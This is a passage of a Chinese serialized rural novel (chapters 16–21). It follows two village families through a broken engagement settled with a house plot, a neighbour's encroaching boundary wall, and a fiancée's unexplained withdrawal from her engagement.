“那不一定,看啥事,结了婚就是两个人相互包容,彼此体谅的商量着过日子,所说的事只要商量着来都不算事。”
“那狗日的的手贱的很,动
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不动就打我姐,我真想把那狗东西从地球上灭了!”
“哎哎哎,你胡说。千万可不敢乱来,你姐你都年轻着哩,人生路还长着呢,一步踏错,一生后悔。不敢胡来!”我劝说。
“这道理我懂,我也是不敢下硬手,有我姐和娃哩。”
颠簸的路上的小坑把小刘从座位上弹起,小刘往后靠了靠,讲起了他二姐的事。
我二姐原来是和沟上村的那个男娃订婚的,那男娃和我现在的所谓姐夫是同学,经常去那男娃家,三个人有时间了一起耍。
要说这好人,真是灾难多。
那男娃在矿上上了不到三个月时间的班,突然说是肺结核就死了。
我咋都不相信,那男娃人又老实,话又少,非常勤快的一个人突然就没了,谁都想不到。
矿上只给了几千元就把人埋了。我姐那段时间很伤心,整天待在家里不出门,别人又给介绍了几个,我姐就是不见。
这样一直就这么拖着,在这期间,我那狗东西姐夫从部队复员回来了,他爸不知咋通过关系把那货安排到县政府上班了。
按道理说这是天大的好事,谁都羡慕,可那狗东西不好好上班,关键是把人家领导和板櫈腿打的。
这下好了,公安出面了,公职没保住,还差点进被关了进去,他父亲上跑下跑才没让进去。
唉,我知道这些事都是旁人说的,我家里人和我以前都不知道。
当知道的时候我姐都已和那货结婚两年多了。这些事都发生在我姐婚后。我姐也是太软弱,啥都不说,直到别人传言到我爸耳朵,家里人才知道那货被开除了。
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第16章 退婚条件变,庄基成条件
何晓雅父母刚走到门口就碰到了晓雅的姑父大声埋怨:“你俩这几天干啥去了,把人能急死,每天来不见你俩的人!”
“有事进屋说。”晓雅父亲边开着头门锁边说。
晓雅姑父把自行车撑在院中,坐在院子里的水泥台阶上着急的说:“军良那边可变挂了。”
正在从水缸里舀水的晓雅父亲把勺子停在半空,惊讶地问:“可变了?”
“变了!”
“他家责挡人这是干啥吗?现在咋说吗?”
“我问你,去镇上的路边是不是有一院给武划的庄基地?”姑父神秘的问。
晓雅父亲点了点头:“那是我几年前掏300元买的。咋了?”
“你准备给武在那儿盖一院子?”
“有这想法,不是没钱盖没?”晓雅父亲不好意思的说着。
“那你打算把那庄基咋办?”
“先撂下,到时候再说吧。只能这样了。”晓雅父亲无奈的说。
“军良家如果要,你给不?”
晓雅父亲把洗完脸的水向大门外泼去:“啥条件?”
“想听听你的意思。”
“我的意思?”晓雅父亲愣了一下:“我从来就没考虑过,没意思。”
姑父笑了:“现在不是让你考虑吗?”
晓雅父亲一听到这些,心里就有点明白了,但他不能直接做主,还得和晓雅母亲商量一下。
他沉思了一会儿:“话你捎到了,我也知道了对方的意思了,还有啥条件哩?”
“暂时先说这个事,这事说不成,前面三个条件必须答应。”
“那如果我不答应呢,会有啥结果?”
“你知道军良父亲活动量大,再一个人家现在是他村的支书了,又和咱支书经常在一块喝酒稍微有点小手段,咱的林特产税万一多少一点,咱敢放个屁吗?弄不好把咱跟永民一样在镇政府关上一段时间。”
听到这,晓雅父亲觉得他说的对,尽量商量解决,千万不敢让支书从上面施压,那可真没活头了。
晓雅父亲听到他提到永民。
这个在村上原来的手艺人,却因孩子的出生而放弃了自己的手艺。
永民曾经是四里坊邻唯一一个会做秤、配钥匙的人,谁知儿子却一场高烧给娃留下了小儿麻痹的后遗症,儿子一走一癫,甚是可怜!
永民从此也是伤心至极,不再坚守自己的手艺,开始裁树务做果树。
多么老实的人,家里没有象样的家当,队上就把交不上林特产税的人员名单上报给了镇政府,谁成想,镇上竟动用派出所来把人抓到镇上关了起来。
镇上领导的目的是逼着家属交钱放人。
可妻媳妇和年小的儿子根本借不来钱,完不了林产税的任务,去了几次镇上,结果就是不放人。
永民的媳妇最后一次去政府时,用捡到的绿色军用包里面放了瓶农药。
看到工作人员态度强硬,永民媳妇拿出农药直接就喝了起来。
一看事闹大了的工作人员赶紧把永民媳妇送到医院,随后就把永民放了。
可永民出来是以媳妇的生命换来的。
永民带着儿子从此就整天住到镇政府门口,希望给自己一个说法。
村支书被镇领导骂得狗血淋头。
村支书便跑到镇上准备把永民接回来,没想到永民竟在自己身上绑了几根雷管说政府不解决他就和领导同归于尽!
镇书记一看这阵势,最后由镇上出钱把人埋了,又给永民补助了1000元才算了事。
“你考虑怎样回复合适?”姑父的问话打断了父亲的思绪。
晓雅父亲静了静说:“我和你妹商量一下,明天给你话。”
“那也行,你尽快拿主意。”姑父走到自行车前:“我要走了,村上明天还有个白事我要帮忙哩。”说着就推车子要走。
“你村把谁没了?”晓雅父亲问。
姑父推着车子扭过头:“帮坤。”
“帮坤?噢,就是那个整天骂张骂王的那个歪人?”
“你还知道他?”
“就隔了一个沟,大体都能知道。啥病?”
“食道癌。”
“今年多少了。”
“66了。也到年龄了。”<
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晓雅母亲出了灶房叫哥哥留下吃饭。
“不留我了,我到过事的那家去吃席去。”说完就推着车子出了大门,骑上一溜烟走了。
晓雅母亲把饭端上桌:“回来屋里也没菜,这几天没在,弄点晒的萝卜干就着,做了些糊糊吃一下。明天到地里拔些菜好好吃。”
晓雅父亲拿起筷子搅了搅碗里的糊糊说:“将就着吃吧,都没心情吃饭。”
“可吓了?吕家又提啥条件了?”晓雅母亲担心的问。
“你说咱给武申请的那块庄基地咱要不要?”
“咋不要?咱为这都和永利家闹得不来往了。咋了?”
“我也知道咱要这也把神费了,现在吕家在打庄基的主意,把人难住了。”
“他吕村的人为啥要咱何家村的庄基,手伸的太长了吧?”
:“听她姑父的意思,咱如果把这庄基
给吕家,退婚的事就好说了。”
“不给,说啥都不给,你知道咱为这庄基费了多大的神?”
晓雅母亲的话让父亲想起了要这块庄基地时的难场劲。
前年村上划庄基,因为何家只有何武一个男娃,在上一任书记手里,隔被因单身的何增育离世,庄基闲置,晓雅父亲就找书记把那闲置的庄基名字换成儿子何武的名字了。
现在要给何武划庄基,新书记就是不同意,最后还是晓雅母亲通过他在土地局的亲戚给书记打招呼,但条件是给书记也有一块。
书记也是有眼光的人,就在去镇上的路边申报了十几户庄基。而何武所划的庄基刚好在十字口的拐角处。
紧挨何武庄基的何增育在砌界墙时竟把后面的院子占用了何武家40多公分。
当时砌墙的时候,晓雅父亲是在当面的,认为只要把界线划清,照着界线砌就没问题。
几天后当晓雅父亲再去看时才发现越往后砌自家越小了。
他找到增育家去说道,增育却以没在现场为由说自己不知道。
晓雅父亲肺都要气炸了,他认为这是明显的欺负人。
于是便拉着增育,带上尺子要和他去丈量。
第17章 庄基界墙起风波,一场大雨巧化解
何增育推托着要去县里有事。
晓雅父亲说:“那好,我等你啥时候从县里回来,咱啥时候去看。”
何增育还是做贼心虚,但他认为何武的庄基在拐角处,前面呈扇形,后面多占一点不要紧,看不出来的,何武家人又没在现场。
没想到还是被晓雅父亲看出来了。
“要不是这,六叔。”何增育看着气势汹汹的晓雅父亲说:“现在墙都砌好了,再推倒重来太麻烦了,又要打地基,重新再砌。我给你些钱就算我买的,行不?”
“我的侄子啊,上面把本本都给咱了,谁家多长多宽写得一清二楚的,我为啥要卖给你。你也知道庄宅不能前大后小,你这样弄我咋住哩?”
“那就等我从县上回来了再说。”何增育要开溜。
晓雅父亲说:“行,你先办你的事,我等你回来。”
两人同时出了何增育家的门。
何增育朝镇上的方向走去。
晓雅父亲站在增育家的门口冲他高喊:“我等你回来啊。”
晓雅的父亲掏出一根烟点了起来,他边往回走边想那新砌起来的墙,心中暗自恼火。
那墙明显是增育有意识让砌的,直接占用了我家的地方,让人感觉很不舒服。
他觉得何增育这样做太霸道了,完全不考虑别人的感受。
晓雅的父亲内心十分矛盾,一方面,他不想惹事,不想和邻居发生冲突;另一方面,他又觉得自己不能这样被人欺负。他在心里思考着该如何解决这个问题,是继续去找增育理论,还是忍气吞声?他的眉头紧紧皱着,手中的烟头也被他揉捏得不成样子。
在内心的斗争中,晓雅的父亲感到无比的疲惫。
他知道,如果不采取行动,这道墙可能会成为他心中永远的疙瘩;但如果去和增育交涉,又可能会引发更大的矛盾。他在权衡利弊,思考着怎样才能既维护自己的权益,又不伤害邻里关系。
晓雅父亲顺便转到地里去了,他要锄地里的杂草,顺便割些菜回家做饭。
刚干了一会儿,树地里起风了。
起风了,风势逐渐加大,呼啸着穿过果树林。果树叶被吹得哗哗作响,仿佛是一曲自然的交响乐。它们在风中摇曳,有些叶片相互碰撞,发出清脆的声音;有些则被风吹离了树枝,在空中翩翩起舞。
他抬起头,目光被阴云密布的天空所吸引。乌云如同一层厚厚的棉被,笼罩着整个天空,给人一种沉重的压迫感。云层中不时有闪电划过,仿佛是天空的裂缝,预示着即将到来的暴雨。
风越来越大,他能感觉到风中夹杂着湿润的气息,那是雨即将降临的信号。
晓雅父亲赶紧割了几把菜扛起锄头就往回走。
“这鬼天气,怕是马上就要下雨了。”
晓雅父亲心想着,加大了步伐,急忙往回跑去。
真是风是雨的前兆。
晓雅父亲前脚刚进门,雨就紧跟着唰唰唰瞬间下了起来。
五月的天还打起了雷声,伴随着一声轰隆隆的雷声,几道电闪过后,雨如同天漏了一样,千万条细条由细变粗,从天而降。
“老天爷这是咋了?阵雨下的这么大,快把门口看一下,小心水出不去。”晓雅母亲站在门道对站在门口侧身看天的晓雅父亲说。
晓雅父亲跑到院庭台阶上,看着瞬间升起的混浊泥水,又跑到门口看着水道的出水口大声说
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:“你看流出来的水大不,出水口都起大水花了。”
“不要到雨里去,当心淋湿!”晓雅母亲刚说完,一个炸雷,似乎要把房炸塌,一道蓝光,似乎就在眼前。
“我的妈啊,吓死人了!”晓雅父亲赶紧起身往房间里走:“快进屋,过厅待不成。”
说着就推着晓雅母亲快速进了房间里。
晓雅父亲和母亲待在房间里,听着外面倾盆大雨的声音,心中愈发不安。“这雨下得也太大了,不知道会不会淹到家里。”晓雅母亲担忧地说。
这时,晓雅父亲想起了院子里的那堵墙。“增育砌的那道墙不知道能不能承受得住这么大的雨,要是倒了就好了。”
晓雅母亲说:“倒了咱也省心了。”
“省个屁心?那增育如果还按原来的路线砌起来咋办?”
“不可能了。上次也是你太相信别人了,这次你去也是势头大,把他震住了。下次他干的时候就守在那里,不要不管。”
“咱俩现在在这全做无用功哩。万一那墙没倒,我就给他把砖一块一块往下拆。不信他爱占便宜。咱这次也硬气一回!”
又一声雷响,震得窗户上的玻璃当当当地响。
晓雅父亲知道,何增育是村上出了名爱占小便的人,但他却是个欺软怕硬的家伙。
这次本身就是他不占理,一定要维护自己的权益,确保庄宅不被占用。
雨一直在下,晓雅父亲最担心的是害怕雨水水位升高把自己的房间给淹了。
他不停地开门出外查看院子的水位。
近一个小时的雨突然就停了,太阳又出来了。
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第18章 女儿婚约刚结束,儿子媒人神秘到
何晓雅父母最终同意,把何武处在去镇上的路口的庄基地卖给吕军良家。
总算处理完了心头一件事。两口觉得心里轻松了许多。
但他俩不知道的糟心事还在后面。
“啥?退婚?”晓雅父亲一下子从坐着的椅子上站了起来,看着媒人。
给何武说媒的媒人在两个月后来到晓雅娘家,说是和何武订婚的女方提出解除婚约。
晓雅父亲听到退婚二字,大吃一惊问:“嫌我娃咋了?还是我家里有啥看不上的?该不会是嫌我把庄基卖了吧?”
“六哥,你也不要胡猜,反正是女方提出来的,肯定是有原因的。”媒人点着烟说着。
“唉!这都是啥事吗?晓雅退婚的事刚处理完,武没过门的媳妇又要退婚,这都是咋了吗?”
晓雅父亲自言自语道。
何武订的媳妇是上边村的亚宁。比何武小两岁,是家里的最小的女儿,高中没毕业就回家务农了。
那年何武和父亲到镇上去卖西红柿。
刚把摊位啥放好,一回头,看见一个十七八岁的女孩子站在他俩跟前不吭声,上身穿一件淡粉色的短袖,那暴露在外的胳膊如玉笋般白皙,眼睫毛一闪一闪的看着他俩摆放着东西。
何武的目光瞬间被吸引住了,他看到眼前出现了一个如画般美丽的女孩。
她扎着辫子,柔顺的发丝在微风中轻轻飘动,给人一种灵动的感觉。
面上带着粉扑,使她的肌肤看起来更加细腻光滑,宛如瓷器一般。女孩的眼睛如同明亮的星星,闪耀着温柔的光芒。她的笑容中透露出一种迷人的魅力,让人不由自主地想要靠近。
何武心中涌起一股冲动,他想要认识这个美丽的女孩,了解她更多的故事。
“看啥呢?”何武笑着问。
女孩的脸一下红了起来,小声说:“这地方我爸让我看着哩,他一会儿来要卖豆角哩。”
声音就像蚊子声那么小。
何武看了一眼摊位的两边,还有一点位置,就对亚宁说:“那你是来占地方的?”
亚宁害羞的点了点头。
看到害羞的亚宁,何武的心中有了一丝怜悯之情。
他把自己的西红柿往一旁堆了堆,腾出一块地方。
父亲看到何武的举动,加上前面摆西红柿时看亚宁的眼神,明白了一些。
他没有吭声,只是按何武摆的地方往高摆,尽量把旁边地方腾大点。
何武看着杵在那里不动的亚宁,笑着说:“你不来站在这,难道要我给你占地方?”
亚宁立马站了过去,和何武站在一排,似乎觉得挨的有点近,就有意识往旁边挪了一步,目光不住的在人群中搜索着。
一位50多岁的中等个男子提着一筐豆角四下张望。当他看到亚宁时,便加大步伐走了过来。
他把筺子放下后,用右手捶了捶自己的后背:“现在真不行了。”说完用收回的右袖口擦着额头上的汗水。
“你把东西一买,在这转转,给你婆捎买点油糕。”中年人说着,从衣服口袋里掏出30元钱递给亚宁。
亚宁只拿了20元把那10元退给父亲:“用不了。等会再转吧。”
亚宁把钱对折起来攥在手中。
“装上,不要丢了。”父亲提醒着。
亚宁给四周看了一眼,当她和何武目光相遇时,红着脸把钱装到上衣右口袋,手一直没出来。
“你是咱哪个村的?”晓雅父亲看到亚宁父亲问。<
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“上沟村的。”亚宁父亲回答着。
“自己地里的?”
“噢,种了一点,吃不完,赚个种籽钱。”亚宁父亲笑着说。
“好着哩,能换几个是几个。”
“对,忙罢了,也没事。”
“这是你女子?”
“老小,今天跟我来买些东西。”
有人买西红柿了,晓雅父亲忙开了。
买西红柿的人把西红柿挑好,要称时,晓雅父亲才发现忘了带秤。
正在旁边站的亚宁立马把父亲筐子上的秤递了过去。
何武接过秤:“你还有眼色的很。”就称了起来。
亚宁不好意思地低下了头。
称完后,何武和父亲为没有带秤而相互埋怨起来。
亚宁父亲听了半天才说:“吵啥吗?就是个秤么,碎碎个事,用我的。我这没多少,称不了几下的。”
何武和父亲感激的望着亚宁父亲,亚宁父亲面带微笑朝他俩点点头。
集市上的摊位基本上都进入正常交易状态了。
亚宁要去布料区买东西。
何武正在不停的关注着亚宁的一举一动。
当他看着马上要离开的亚宁时,正给客人称西红柿的何武,心不在焉的被秤砣砸在脚上,西红柿掉落了一地。
“你干啥呢,毛手毛脚的?”父亲捡拾着西红柿埋怨着儿子。
何武借机大喊了一声,跳了起来,故意抬起左脚用手捏着,望着亚宁的背影。
也许是何武的喊声太大了,听到喊叫声的亚宁突然扭过头来,当她看到呲牙咧嘴的何武时,不知发生了什么,愣在那里。
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第19章 退婚原因搞不清,公安到了女方家
何武的疑惑是有根据的,母亲听了儿子的话,想着在房间里和丈夫说话的媒人,她认为,这桩婚事并不是退婚那么简单。
“武回来了?”媒人看到进了房子垂头丧气的何武,打着招呼。
“三叔来了。”何武也和媒人打着招呼。几乎同时开口相互致问。
“咋没出去?”父亲问。
“今天去迟了,菜发完了。”何武回答着。
“那中午就到地里去,你把南地里我剪的树枝拾一下,顺便拉回来。”父亲支走了儿子。
在父亲的意识里,退婚的事尽量不要让何武知道。
从儿子第一眼见亚宁的那一刻起,父亲就知道何武对亚宁的喜欢,妻子又到上沟村去把人家的家庭情况侧面打听得一清二楚。自己心里清白亚宁在儿子心中的份量。
在双方满意的情况下,就让他三叔从中撮合,成了这门亲。
今天他三叔这个媒人来到这里,虽然没有直接当孩子面说退婚的事,但父亲还是不希望何武知道,毕竟在热恋中的儿子一但知道了,心理上难以承受。以防做出极端之事,况且现在还没搞清真正的退婚原因。
尽量不要不让儿子知道!
所以父亲故意把何武支走,为的就是问清媒人为什么女方在这个时候提出来退婚。
而父亲不知道的是,何武早已对自己的婚事持怀疑态度了。只不过是没有在父亲面前提说而已。
并不是说亚宁对自己的好坏态度,而是亚宁父母对自己态度的突然转变。
亚宁是家里最小的孩子,在亚宁父母看来,对这个小时体弱多病的孩子疼爱有加。
所以亚宁从小到大一直都在父母的呵护中长大,慢慢的父母的替代和珍爱养成了亚宁成不了一个独立体,对父母的依赖和附属似乎成了一种习惯。
正是这种过份的深爱,从而使得亚宁遇事没有主见,个人没有思想,全听父母的安排。
在亚宁的认知中,听从父母的话也是一种孝顺的行为。她认为孝顺孝顺就是顺从老人才为孝。
何武起初和亚宁约会总是控制在父母所规定的时间范围之内,何武笑着说亚宁是长不大的大人。后来订婚了,何武就经常来亚宁家里帮忙干点农活啥的。
俩人见面父母也管不上了,他们已认准何武这个准女婿了。
亚宁父亲不止一次在何武面前提说有关何武卖菜的事,他告诉何武,卖菜不是长久之计,趁年轻要学一门手艺,至少不至于为生存而发愁。
何武也经常跟他探讨学什么手艺的事。何武也想从事一种技术活,但苦于没有想到具体学什么?
亚宁的父亲也曾告诉何武和亚宁,等他俩结婚了,他资助亚宁在村上开个小卖部,还能解决一些生活费,再把地里的果树务做好,也是一种幸福的生活…
何武在地里边干活边回忆着亚宁父母曾经说过的话和做过的事。
原先的好和今天的差形成如此明显的对比!
他最生气的是今天到她家中去时,亚宁父亲竟告诉他,你还找亚宁,我还想问你哩。顺便把露了半个脸的门就关上了。
何武站在原地愣了半天,回不过神。
这段时间去就是无法见到亚宁,而更让何武生气的是她爸好像防贼似的整天把家里的大门一直锁着,把守很严,从不让何武进家门。
难道亚宁生病了?要不就是她真的不在家?要不就是有其他
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什么事?
今天媒人到家里又来干什么?
一想到媒人,何武马上明白了父亲把自己支到地里的意思了。
何武放下手中的活计快速向家中走去。他认为媒人今天来肯是他的事!
在他的印象中,除了订婚那段时间来自己家频繁外,这一年多很少见他来过自己的家。今天的来,非同一般。
想到这儿,何武加大了脚步向家走去。
心烦意乱的何武急匆匆的赶到家。
没成想,家里大门紧锁,空无一人。
父母干什么去了?自己走的时候媒人不是也在家吗?
为什么他去地里没多大功夫,屋里连一个人都没有了?
心生闷气的何武推出自行车,把挂在后座上的装菜筺子卸了下来。
他要到上沟村去,他要去找亚宁,他要知道亚宁的父亲为什么总是避着他,不让他见亚宁?
何武骑上车子向上沟村奔去。
在路上他回想着自己和亚宁在一起的幸福时光。
何武骑着车子,思绪渐渐飘远。他回忆起与女朋友一起的时光,那些美好的记忆如电影般在他眼前闪现。
他们曾在田地里一起劳作,感受着土地的温暖和大自然的恩赐。阳光洒在他们身上,汗水与欢笑交织在一起。他们一起种下希望的种子,期待着未来的收获。
山沟里也留下了他们的足迹。他们手牵着手,探索着山间的小径,听着溪水潺潺流淌的声音,感受着大自然的宁静与美好。每一步都充满了新奇和冒险,他们的爱情也在这山水之间愈发深厚。
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第20章 同学巧周旋,父亲暂释怀
“有关系呀。亚宁跟我放假那几天给帮过忙的,可能就是这事。”心疼随便撒谎给亚宁父亲。
“真的?”亚宁父亲不解地看着心疼。
心疼没有看亚宁父亲,她眼睛故意望向窗外:“你不信了可以问亚宁。”
心疼心里知道,亚宁并不是上厕所去了,而是刚才的话题碰触到她心底的伤痛,暂时是不会回到宿舍的。
“叔也相信你的话,如果是这事,我也就放心了。”亚宁父亲说着。
“就是这事,没有啥大事,大不了罚点钱,人不会有事,我男朋友处理过,我知道的。”心疼继续给晓雅父亲编着谎。
“那钱也不是大风刮来的,能不罚就不罚。尽量不要再干那叫人操心的事。”亚宁父亲以长辈身份说教着心疼。
心疼点了点头。
趁亚宁还没进到宿舍,心疼故意显得很焦急对坐在櫈子上的晓雅父亲说:“叔,你先坐,我和亚宁出去办个事去,可能时间长,你没事就在这等一下我俩?”
亚宁父亲立马明白了心疼的意思:“噢,没事没事,我就是来看看你们是不是懂了什么烂子了让公安找来了。没有就好,那我就走了,你准备让亚宁啥时回来?”
“噢,亚宁呀,这几天就让她回,你放心,我总不能让亚宁陪我一辈子的啊。”心疼笑着说。
亚宁父亲放下杯子和心疼一块出了宿舍。
亚宁父亲打开自行车锁,推着车子要走时对心疼说:“叫亚宁早点回去。”
“知道,叔你放心,你先回吧。”心疼笑着答应着。
亚宁父亲在回家的路上慢慢回忆着亚宁和心疼的交往。
亚宁和心疼是从小一起长大的好朋友,他们的友谊历经了小学和中学的岁月。
在小学时,他们一起上学、一起玩耍。他们会在课间休息时一起跳绳、玩捉迷藏,还会互相分享零食。亚宁性格温和,总是耐心地倾听心疼的烦恼和快乐;而心疼则活泼开朗,总是给亚宁带来欢笑和惊喜。
进入中学后,他们虽然在不同的班级,但依旧保持着紧密的联系。他们一起参加学校的活动,互相鼓励在学业上取得好成绩。在困难时,他们总是第一时间伸出援手,给予对方支持和帮助。
亚宁和心疼的点点滴滴充满了真诚和关爱。他们一起度过了无数个快乐的时光,也一起面对了成长中的挑战和困难。他们的友谊如同阳光般温暖,将伴随他们走过人生的每一个阶段。
只是亚宁在学习上没能赶上心疼,心疼上了中专,亚宁读到高二就不读了,每当想到这些,亚宁父亲心里总有些不安。
这种不安并非是到了该谈婚论嫁时没有找到婆家,而是亚宁没有一技之长,使父亲不安的根源。
在亚宁父亲的眼里,人是要学一门技术在手的,至少不至于没饭吃。自己还不是因为没有学到什么技术才一直种地吗?
社会在发展,人类在进步,在这种情况下,粗犷、野蛮式的发展终将被细化的分工所代替,从而会衍生许多新的有技术的人。
现在亚宁必须学个一技之长,才能使她和何武的婚后生活有所依靠。
何武一直走街串巷、跟集上会去卖菜,在亚宁父亲看来,并不是什么长久之计,一是太辛苦,风吹雨淋的老在外面跑,二是利润低,估计是赚头小。
虽然亚宁父亲没有问过何武具体的贩菜利润,但他一直希望何武和亚宁都能像其他人一样学一门手艺,泥瓦工、维修工、安装工、电工等这些
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靠手艺吃饭的技术。而亚宁也可以学做裁缝、理头这些逐渐细化的市场技艺。
但他们似乎都在自己忙活的事务中无法脱身,好像也没有合适的机会让他们成为静心学技术的学员。
那就先走一步看一步吧。
日子是他俩以后要过的,我可能也操心过多了。
回到家了,亚宁父亲把自行车放在家里,到地里干活去了。
看到果树上的苹果,亚宁父亲笑的合不拢嘴。
看起来自私是人的天性。
他想到当年生产队里的果园几十亩大,就是结不出几个果实来?现在包到了各家各户,都精耕细作,一亩的产量都会超过队里几亩的产量,你说怪不怪?
这可能就是人们自私的真实体现吧?
亚宁父亲想到这干劲更足了。
亚宁从心疼的宿舍回到了家里。
亚宁父母发现女儿这次回来后,似乎有什么心事,总是心不在焉的样子。
那天何武来约亚宁出去,亚宁竟表情冷漠,拒绝外出。
母亲劝说亚宁,有理不伤上门人,何武又没有什么不周之处,你也太没教养了。
没想到亚宁竟第一次在母亲跟前大声喊道:“我就这么没礼貌,没教养,他何武嫌我没教养以后就别来啊!”
亚宁的话,让母亲无地自容,没想到一向温顺乖巧的亚宁今天却是如此的失礼丢人!
何武也是脾性好,笑了笑只好做罢。
亚宁母亲本想和亚宁沟通沟通,想知道是什么事让她心绪不宁。没想到还没说两句,亚宁以头疼为由把母亲轰出了房间里。
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第20章 赌气再找同学去,惊天秘密父母知
何武被亚宁的话激得无言以对。
何武愣了半天没说话。他没想到亚宁今天是如此的任性和冷漠。
“我也不知道我错在哪儿?你能告诉我吗?”何武半天说了一句话。
正在洗碗的亚宁生气的说:“我都告诉你了,我的错你没听到?”
“你有啥错?”
“我、我、我不想见你!”亚宁说这话时显得结结巴巴。
何武心想,是不是亚宁去了一趟县里,真的碰到心仪的男人了?
何武站在那里,心中充满了忧虑。他目光游离,仿佛能看到亚宁在县城的某个角落与别的男人相遇的场景。他不禁叹息,自己只是一个农村人,怎么能和县城的人相比呢?在他的心中,县城的人代表着一种高不可攀的生活方式和社会地位。
他开始胡思乱想,思绪如潮水般汹涌。他想到了自己的贫困,农村的简陋条件,还有那无尽的农活。而县城的人,他们可能拥有更好的教育、更多的机会和更广阔的未来。何武感到自己在这方面毫无优势,心中不禁涌起一股无奈和自卑。
然而,他又想到了亚宁,那个让他心动的女孩。他回忆起与她在一起的时光,那些温馨的瞬间让他心中又燃起了一丝希望。或许,爱情是不分农村和县城的,他暗暗告诉自己。
何武的心情愈发沉重,他不知道该如何面对这样的现实。但他知道,无论怎样,他都要努力改变自己的命运,为了自己,也为了亚宁。他决定用自己的双手去创造一个更好的未来,不管前方有多少困难和挑战。
何武想到这说:“不管你咋想,我不会放弃你的!”撂下这句话后何武生气的走了。
亚宁愣在那里。
其实自己心里非常明白,自己的话根本不是心里话。就是那压在心里无法给何武倾诉的、心疼和自己共同守诺的烂在肚子里都不能说的烦心事老搅得自己心神不宁,无法说出。
何武生气的往外走时,亚宁父亲看到他不高兴的表情。
亚宁父亲直接进了厨房:“你这娃这段时间是咋了?老不给人家娃好脸色,吃炸药了?”
正在洗碗的亚宁把碗一放大声说:“我就吃炸药了,我俩的事你甭管!”
父亲噎得肚子疼,看了看亚宁:“我不管谁管?我是你先人,我就得管!城里去了一下回来看谁都不顺眼了,毛病多的很!”
“我就毛病多,你看我不顺眼就别生我!”亚宁顶着嘴。
父亲没想到一向性格乖顺的女儿今天变得如此的暴躁和不可理喻!
母亲听到吵声进来了,冲着亚宁说:“你这娃现在咋成这了?谁的话都不听。再说了,人家何武又没把你咋的,你总恶声带气的难为人家娃,你爸把你说一下,你就这态度?你把你好好想想,谁对你不好?人常说有理不打上门人,你这做法太令人生气了!”
亚宁没有吭声,把洗完的碗从盆里捞出用抹布擦着碗。
亚宁父亲给母亲摇了一下头,老俩口出了厨房。
何武正拉起架子车出大门。
在地里,亚宁父亲把捡好的柴放到车上,走到何武跟前小心的问:“武,你给我说实话,是不是你俩闹矛盾了?”
正在拾柴的何武站起身笑着说:“没有,叔。一直都好着哩,我就是不知道亚宁是咋了?”
“你觉得她是不是这段时间脾气大的很?”
“有一点,以前都好着哩。不知啥原因从县上回来就发火,我也弄不清?”
“我也觉得这娃从县上回来变得跟以前不一样了。”<
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p> 亚宁父亲说完,点燃一根烟抽了起来。
过了一会儿,亚宁父亲吸完烟,拍了拍何武的肩膀,语重心长地说:“小武啊,亚宁这孩子我了解,她肯定是遇到啥事了,你多担待。回头我再问问她。”
何武点点头,表示理解。他也希望能够找到解决问题的办法,让亚宁恢复往日的快乐。
在家的亚宁越想越生气!
她把下午的饭做好后,一个人在房间里踱来踱去。
自己有什么错?被全家人批评谴责。想到这,亚宁背起自己的行李又向乡政府走去,找心疼了。
“你咋又来了?”看到提着行李的亚宁,心疼很是惊讶:“你才回去了几天?”
“离不开你了。”亚宁边放行李边说。
“你不会是和家里吵架了在我这儿躲风头来了吧?”心疼不解地望着亚宁。
“是不是我都已经来了。”
“叔和姨不知道吧?”
“他们回家没见我,知道我在你这里的,放心。”
亚宁父母和何武从地里回到家后,发现厨房有做好的饭,就是没见亚宁。
吃完饭,亚宁的母亲到亚宁房间里转了一圈,当她看到亚宁的换洗衣服不见时,她知道亚宁肯定是生气了。
何武吃完饭就直接骑车往自家走去。
路过镇上时,他到一商店里去买烟,他忽然觉得隔壁的饭店里似乎坐着何川的母亲婉莹姨。
这家饭店目前是镇上最红火的饭店,也并不是说他的饭菜质量是好何的好,而是乡政府的大事小情都会在这里吃饭,慢慢的各村干部也经常来这里吃
饭,就这样生意看起来是相当的不错。
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第21章 母亲上门来认错,挨打挨骂尽忍受
半个月过去了。
这天亚宁父母从地里回来没多久,婉莹突然来到他家。
正在院里分拣落果的亚宁父亲看到来人,停下手中的活,看着不吭声径直从大门口往自家院子走的婉莹。
“你找谁?”亚宁父亲大声问。
走到亚宁父亲跟前的婉莹问:“你是亚宁他爸?”
亚宁父亲点了点头。
在得到亚宁父亲确认后,婉莹突然扑通一声跪在他的面前。
“你是谁呀?”亚宁父亲被吓了一跳。
“哥,我是咱下沟村的何东明的媳妇,我有事才能求你的。我求求你帮帮我吧。”跪在地上的婉莹带着哭腔说着。
“你这是咋了嘛?快起来,起来说。”亚宁父亲站在一旁。
“你必须答应了,我才起来。”婉莹很坚定。
“你先说是啥事!”
“你答应我了我再说。”
“你先起来把事说清楚点!”
“我啥都不知道,答应你啥哩?先说事。
“你答应我了我再起来!”
“你说事嘛,我知道你这是干啥的?”
“哥呀!”婉莹哭了起来:“哥,自从我嫁到他何家,刚开始我总认为我是幸福的,也知足了。毕竟东明是我的救命恩人。我就打算和他过一辈子。
谁知道这个挨刀子竟跟别的女人跑到外面萧洒去了,丢下我孤儿寡母的把娃拉扯大。
我受了多少苦,为娃受了多少难,可那死挨刀子的走得亳无牵挂,为两个娃我真是把不吃的苦都吃遍了。
我的亏欠我不说了,我那儿子何川那娃让公家抓进去了,犯了点事,我今天就是求你帮忙一下,让不要给娃判刑,让娃只要不坐牢,你提的啥条件我都答应的,哥。”婉莹声泪俱下、泣不成声。
亚宁父亲丈二和尚摸不着头脑:“你说这些都是啥吗?我咋听不明白?再说我跟你又不熟悉,我知道你娃是谁?我还不知道你又是谁?”
亚宁母亲被外面的哭诉声吸引出了灶房。
她看到正跪在丈夫面前鼻一把泪一把的婉莹。
边向两人附近走的亚宁母亲边竖起耳朵听了起来。她听到了婉莹的话;“哥,何川这一辈子的命运全在你手里掌控着。我也是没有办法了,才找到你这儿来的求求你就救娃一回吧!”婉莹把头磕在地上撅着屁股呜呜呜地哭着。
看到跪趴在地上的婉莹,亚宁母亲赶紧去扶她。
可倔强的婉莹大声哭着:“哥,我求求你,放过我川娃吧!求求你了,放过我川娃吧!”
亚宁母亲并没有把婉莹控扶起来,她依然趴跪着、哀求着。
看着哭得伤心欲绝的婉莹,亚宁父亲头也大了。
这个女人为什么为她儿子来找自己?
何川是谁?究竟干了什么?
为什么说我是决定何川前途的人?何川到底干了什么?犯了什么事?
亚宁父亲让婉莹起来说,但哭泣的婉莹就是不起来。
面对如何劝说都不起来的婉莹,亚宁父母很是无奈。
亚宁父亲只知道婉莹是因儿子才来的。至于什么事,婉莹就是不说,只说娃年轻,希望亚宁父母大人不记小人过,原谅何川。
